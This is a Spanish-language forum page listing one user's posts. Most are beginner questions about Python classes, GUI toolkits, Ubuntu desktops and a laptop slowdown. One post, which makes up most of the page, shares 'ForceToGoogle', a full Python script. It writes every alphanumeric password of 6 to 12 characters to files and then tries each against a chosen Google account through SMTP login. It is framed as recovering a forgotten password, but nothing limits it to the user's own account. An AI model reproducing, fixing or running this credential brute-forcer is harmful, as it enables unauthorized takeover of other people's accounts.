elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


  Mostrar Temas
Páginas: [1]
1  Programación / Programación General / Método __init__ y clases de python-3.x en: 18 Noviembre 2019, 10:54 am
Tengo una duda sobre este método... Y es... que hace realmente este método, me podríais poner un ejemplo de una clase utilizando este método y una clase sin este método para poder ver la diferencia...
Y otra cosa, si yo hago esto

Código
  1. class coche():
  2.    def __init__(self, rueda, pintura):
  3.         self.rueda = rueda
  4.         self.pintura = pintura
  5.    def imprimir(self):
  6.         self.rueda = input("que tipo de ruedas tienes > ")
  7.         self.pintura = input("color del coche > ")
  8.  
  9. COCHE = coche()
  10. COCHE.imprimir()
  11.  

Porque en la parte COCHE = coche() me pide los valores de rueda y pintura si ya lo defino en "def imprimir()", ¿no hay manera de que no me los pida?, es que hay veces que he tenido errores por el valor inicial que le doy

Gracias por responder!  ;D
2  Programación / Programación General / ¿Qué biblioteca gráfica debería usar? en: 17 Noviembre 2019, 14:02 pm
Buenas!

Tengo pensado realizar un programa serio con interfaz gráfica y tengo varias dudas, con que lenguaje de programación debería hacerlo Python, Java, C...(?) y también que deberia usar en cuanto a GUI en un proyecto serio y grande que sea bonito, QT,  PyGTK, WxPython, PyGTK, Tkinter...

Gracias por adelantado!
3  Sistemas Operativos / GNU/Linux / Como cambiar el gestor de archivos en: 8 Noviembre 2019, 08:15 am
Buenas!
Mi problema es que tengo un Ubuntu 18.04 y le he instalado el entorno gráfico budgie ya que me parece bastante atractivo y amigable pero al abrir carpetas me lo abre con Dolphin y un entorno muy feo que desentona mucho, me abre las carpetas con la interfaz de gnome...
Alguien sabe como cambiar el gestor de archivos al gestor de budgie o alguna otra solución?

Gracias!
4  Programación / Programación General / ¿Que usar para hacer un programa con interfaz grafica? Python-3.x en: 7 Noviembre 2019, 12:14 pm
Buenas!
Quiero hacer un programa con interfaz gráfica con Python 3, lo único que maneja con interfaces gráficas en python 3 en Tkinter pero este creo que es anticuado y quiero renovarme y he pensado en usar Qt5 ya que he visto análisis muy buenos de este.

¿Qué me recomendáis para realizar un programa con interfaz gráfica utlizando Python-3.x?

Gracias por ayudar! ;D
5  Sistemas Operativos / Windows / Cuando le conecto el cargador a mi portatil con windows 10 este se relentiza en: 5 Noviembre 2019, 16:04 pm
No se porque, desde haace unas semanas aproximadamente cuando le conecto mi cargador al portatil, este se relentiza mucho, no se si es problema, de windows 10, de mi portatil o del cargador

Mi portatil es un HP Pavilion Notebook
Arquitectura de 64bits
SO - Windows 10 Pro x64bits
6  Sistemas Operativos / GNU/Linux / Linux Cinnamon ¿Qué es? en: 5 Noviembre 2019, 12:42 pm
Tengo una duda sobre Cinnamon, ¿es una interfaz gráfica o es un sistema operativo aparte?
Yo teniendo Ubuntu 18.04 ¿podría instalar la interfaz gráfica de Cinnamon?
7  Programación / Programación General / ¿Cómo puedo ejecutar procesos en segundo plano con python 3.x? en: 2 Noviembre 2019, 13:04 pm
Buenas, quiero ejecutar procesos en segundo plano con el lenguaje de porgramación python 3.x
Ejemplo.:
Código
  1. import os
  2.    hola = ["hola", "HOLA"]
  3.  
  4.    def repetir_hola():
  5.        for palabra in hola:
  6.            print(palabra)
  7.            os.system("cls") #esto limpia tu pantalla
  8.  
  9.    def escribir():
  10.        while True: #Esto hace que esto se ejecute de forma infinita
  11.            archivo = open("archivo.txt", "w") #Esto abre una archivo txt en tu
  12.                                               #directorio actual
  13.            archivo.write("Estoy escribiendo en un archivo") #Esto escribe en tu archivo
  14.  

como podria ejecutar los dos bucles al mismo tiempo o ejecutar el bucle que imprime "hola" en pantalla mientras el otro se realiza
8  Programación / Programación General / ForceToGoogle, ¿que os parece este programa realizado por mi? en: 2 Noviembre 2019, 11:51 am
Este es un programa realizado con python 3.6, encargado de generar todas las combinaciones posibles de palabras de longitud de 6 a 12 caracteres(no incluye caracteres especiales), luego tendréis que introducir un nombre de usuario de una cuenta de google y este programa se encarga de intentar entrar en la cuenta del usuario introducido validando cada contraseña generada hasta encontrar la correcta

Código
  1. # coding=utf-8
  2. ########################################################################################################################
  3. #DESARROLLO
  4. #Este programa se encarga de averiguar contraseñas de cuentas de google generando todas las combinaciones posibles de
  5. #palabras de 6 a 12 caracteres de longitud - Este programa esta pensado para que no tengas que cambiar tu ontraseña
  6. #otra vez... si has olvidado tu contraseña usa este programa para que la averigue y la tendrás de nuevo
  7. ########################################################################################################################
  8. ########################################################################################################################
  9. #ANÁLISIS
  10. #Realizar menu con decoración
  11. #Longitud de caracteres variables de 6 a 12 caractares
  12. #Hay que descargar el modulo colorama
  13. #Se debe saber con antelación el usuario para poder averiguar la contraseña
  14. #Entrada de datos: Longitud de caracteres que queremos que tenga nuestras claves generadas, si comprobar la contraseña o queremos generar claves
  15. #Salida de datos: Claves generadas y si cuando se compruebe con tu cuenta de google la contraseña correcta que la imprima en pantalla
  16. ########################################################################################################################
  17. ########################################################################################################################
  18. #DISEÑO
  19. #Importar librerias
  20. #Crear archivo donde se van a guardar las libreriass
  21. #Crear variables
  22. #Crear archivos donde guardamos las contraseñas con distintas longitudes de caracter
  23. #Crear menu
  24. #Una vez elegido la opcion del menu crear contraseñas de x caracteres 1-Generar contraseñas de x caracteres 2-comprobar contraseñas generadas 3-Salir
  25. #Crear bucle for donde introduzca cada contraseña generada al inicio de sesión de google
  26. #Que muestre en pantalla si la contraseña es correcta o no
  27. ########################################################################################################################
  28. import smtplib, os, sys, colorama
  29. from os import listdir
  30. from typing import Any
  31. from colorama import init, Fore
  32. from termcolor import colored
  33. import time
  34. import random
  35. colorama.init()
  36. num = 0
  37. num = int(num)
  38.  
  39. smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
  40. smtpserver.ehlo()
  41. smtpserver.starttls()
  42. car = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnÑñOoPpQqRrSsTtUuVvWwXxYyZz0123456789"
  43.  
  44. def menu():
  45.    Google = Fore.BLUE+"G"+Fore.RED+"o"+Fore.YELLOW+"o"+Fore.BLUE+"g"+Fore.GREEN+"l"+Fore.RED+"e"
  46.    Force = Fore.YELLOW+"Force"
  47.    print("##########################################")
  48.    print("               "+Force+Fore.WHITE+"To"+Google+"            ")
  49.    print(Fore.WHITE + "##########################################")
  50.  
  51.    print("Realizado por Jesús Daza Hernández")
  52.    print(Fore.GREEN + '----------------------------O------------------------------')
  53.    print(Fore.RED+"["+Fore.WHITE+"1"+Fore.RED+"]", Fore.CYAN+"Generar claves")
  54.    print(Fore.RED+"["+Fore.WHITE+"2"+Fore.RED+"]", Fore.CYAN+"Comporbar claves generadas")
  55.    print(Fore.RED+"["+Fore.WHITE+"3"+Fore.RED+"]", Fore.CYAN+"Salir de FTG"+Fore.WHITE)
  56. def Fuerzabruta6():
  57.    archivo_6 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_6.txt", "w")
  58.    for a in car:
  59.        for b in car:
  60.            for c in car:
  61.                for d in car:
  62.                    for e in car:
  63.                        for f in car:
  64.                            con = str(a + b + c + d + e + f)
  65.                            archivo_6.write(con+"\n")
  66. def Fuerzabruta7():
  67.    archivo_7 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_7.txt", "w")
  68.    for a in car:
  69.        for b in car:
  70.            for c in car:
  71.                for d in car:
  72.                    for e in car:
  73.                        for f in car:
  74.                            for g in car:
  75.                                con = str(a + b + c + d + e + f + g)
  76.                                archivo_7.write(con+"\n")
  77. def Fuerzabruta8():
  78.    archivo_8 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_8.txt", "w")
  79.    for a in car:
  80.        for b in car:
  81.            for c in car:
  82.                for d in car:
  83.                    for e in car:
  84.                        for f in car:
  85.                            for g in car:
  86.                                for h in car:
  87.                                    con = str(a + b + c + d + e + f + g + h)
  88.                                    archivo_8.write(con+"\n")
  89. def Fuerzabruta9():
  90.    archivo_9 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_9.txt", "w")
  91.    for a in car:
  92.        for b in car:
  93.            for c in car:
  94.                for d in car:
  95.                    for e in car:
  96.                        for f in car:
  97.                            for g in car:
  98.                                for h in car:
  99.                                    for i in car:
  100.                                        con = str(a + b + c + d + e + f + g + h + i)
  101.                                        archivo_9.write(con+"\n")
  102. def Fuerzabruta10():
  103.    archivo_10 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_10.txt", "w")
  104.    for a in car:
  105.        for b in car:
  106.            for c in car:
  107.                for d in car:
  108.                    for e in car:
  109.                        for f in car:
  110.                            for g in car:
  111.                                for h in car:
  112.                                    for i in car:
  113.                                        for j in car:
  114.                                            con = str(a + b + c + d + e + f + g + h + i + j)
  115.                                            archivo_10.write(con+"\n")
  116. def Fuerzabruta11():
  117.    archivo_11 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_11", "w")
  118.    for a in car:
  119.        for b in car:
  120.            for c in car:
  121.                for d in car:
  122.                    for e in car:
  123.                        for f in car:
  124.                            for g in car:
  125.                                for h in car:
  126.                                    for i in car:
  127.                                        for j in car:
  128.                                            for k in car:
  129.                                                con = str(a + b + c + d + e + f + g + h + i + j + k)
  130.                                                archivo_11.write(con+"\n")
  131. def Fuerzabruta12():
  132.    archivo_12 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_12.txt", "w")
  133.    for a in car:
  134.        for b in car:
  135.            for c in car:
  136.                for d in car:
  137.                    for e in car:
  138.                        for f in car:
  139.                            for g in car:
  140.                                for h in car:
  141.                                    for i in car:
  142.                                        for j in car:
  143.                                            for k in car:
  144.                                                for l in car:
  145.                                                    con = str(a + b + c + d + e + f + g + h + i + j + k + l)
  146.                                                    archivo_12.write(con+"\n")
  147. def ComprobarClaves():
  148.    try:
  149.        smtpserver.login(email, pwd)
  150.        print(Fore.GREEN+"CONTRASEÑA CORRECTA")
  151.        print("La contraseña es: ", Fore.BLUE+pwd)
  152.        archivo.close()
  153.    except smtplib.SMTPAuthenticationError:
  154.        pass
  155. def salir():
  156.    sys.exit()
  157.  
  158. menu()
  159. opc = input(">> ")
  160. opc = int(opc)
  161. os.system("cls")
  162.  
  163. if opc == 1:
  164.    print("Longitud de las claves a generar(6-12)")
  165.    longitud = input(">> ")
  166.    longitud = int(longitud)
  167.    if longitud >=6 and longitud <=12:
  168.        if longitud == 6:
  169.            Fuerzabruta6()
  170.        elif longitud == 7:
  171.            Fuerzabruta7()
  172.        elif longitud == 8:
  173.            Fuerzabruta8()
  174.        elif longitud == 9:
  175.            Fuerzabruta9()
  176.        elif longitud == 10:
  177.            Fuerzabruta10()
  178.        elif longitud == 11:
  179.            Fuerzabruta11()
  180.        elif longitud == 12:
  181.            Fuerzabruta12()
  182.        else:
  183.            print("Tienes que elegir una longitud para tus claves a generar del 1 al 12")
  184.            menu()
  185. if opc == 2:
  186.    print("Elige un archivo de contraseñas que quieras comprobar")
  187.    for cosa in listdir("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas"):
  188.        print(Fore.RED+"["+Fore.WHITE+str(num)+Fore.RED+"]", Fore.YELLOW+cosa+Fore.WHITE)
  189.        num = int(num) + 1
  190.  
  191.    arch_comp = input("Archivo a comprobar(poner nombre completo sin extension) >> ")
  192.    os.system("cls")
  193.    email = input("Tu email: ")
  194.  
  195.    if arch_comp == "contraseñas_6":
  196.        archivo_6 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_6.txt", "r")
  197.        for pwd in archivo_6:
  198.            ComprobarClaves()
  199.    if arch_comp == "contraseñas_7":
  200.        archivo_7 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_7.txt", "r")
  201.        for pwd in archivo_7:
  202.            ComprobarClaves()
  203.    if arch_comp == "contraseñas_8":
  204.        archivo_8 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_8.txt", "r")
  205.        for pwd in archivo_8:
  206.            ComprobarClaves()
  207.    if arch_comp == "contraseñas_9":
  208.        archivo_9 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_9.txt", "r")
  209.        for pwd in archivo_9:
  210.            ComprobarClaves()
  211.    if arch_comp == "contraseñas_10":
  212.        archivo_10 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_10.txt", "r")
  213.        for pwd in archivo_10:
  214.            ComprobarClaves()
  215.    if arch_comp == "contraseñas_11":
  216.        archivo_11 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_11.txt", "r")
  217.        for pwd in archivo_11:
  218.            ComprobarClaves()
  219.    if arch_comp == "contraseñas_12":
  220.        archivo_12 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_12.txt", "r")
  221.        for pwd in archivo_12:
  222.            ComprobarClaves()
  223. if opc == 3:
  224.    salir()
  225.  
  226.  

¿Que os parece?
Páginas: [1]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines